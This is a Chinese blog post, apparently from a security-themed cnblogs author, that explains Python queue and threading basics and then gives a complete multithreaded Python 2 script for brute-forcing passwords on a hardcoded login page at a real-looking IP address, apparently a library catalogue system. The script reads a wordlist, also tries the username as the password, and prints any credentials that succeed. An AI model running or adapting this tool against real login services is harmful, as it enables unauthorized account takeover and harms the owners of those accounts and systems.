• python 后台爆破工具(多线程)


    非阻塞 q.put(item) 写入队列,timeout等待时间
    q.put_nowait(item) 相当q.put(item, False)

    threads多线程     首先导入threading 模块,这是使用多线程的前提

    appent 把每个线程放在threads列表里

    start 开始

    join 主线程等待子线程完成。

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import sys
    import requests
    import Queue
    import threading
    import time

    # 1315935012
    username = sys.argv[1]
    password_file = sys.argv[2]
    queue = Queue.Queue()

    f = open(password_file)
    for line in f.readlines():
        queue.put(line.strip())

    # 使用账号作为密码
    queue.put(username)

    def checkLogin(username, queue):
        while not queue.empty():
            try:
                password = queue.get_nowait() #当一个队列为空的时候如果再用get取则会堵塞,所以取队列的时候一般是用到

    #get_nowait()方法,这种方法在向一个空队列取值的时候会抛一个Empty异常

    #所以更常用的方法是先判断一个队列是否为空,如果不为空则取值


            except  Queue.Empty:
                break
            #print password
            url= "http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
            query = {
                    'callback': "jQuery17205871516966488435_1472197449413",
                    'username': username,
                    'password': password,
                    'loginType': "callNo",
                    '_': '1472197524853'
            }
            
            #print query
            try:
                    resp = requests.get(url, query)
            except:
                queue.put(password)
            resp.encoding = resp.apparent_encoding
            if resp.text.find(u"密码或登录号错误") == -1 and resp.text.find(u"读者不存在") == -1 :
                print u"[*] 账号: %s 密码: %s" % (username, password)
                queue.queue.clear()

    start_time = time.time()

    threads = []
    for i in range(0, 10):
        t = threading.Thread(target=checkLogin, args=(username,queue) )
        threads.append(t)
        t.setDaemon(True)
        t.start()


    for t in threads:
        t.join()

    end_time = time.time()
    print u"共用时: %f" % (end_time - start_time)





  • 相关阅读:
    python 学习笔记 数值型(1)
    python 学习笔记 标识符和变量(3)
    python 学习笔记 字符串(2)
    jsp+servlet+javaBean+Dao
    面试被问到岗时间,是越快越好吗?
    有赞多平台推广接入与测试
    HTTPS 加密、证书、签名与握手
    开发到底要不要自己做测试?
    我也曾找不到工作
    世界第三大浏览器正在消亡
  • 原文地址:https://www.cnblogs.com/secevery/p/5811776.html
Copyright © 2020-2023  润新知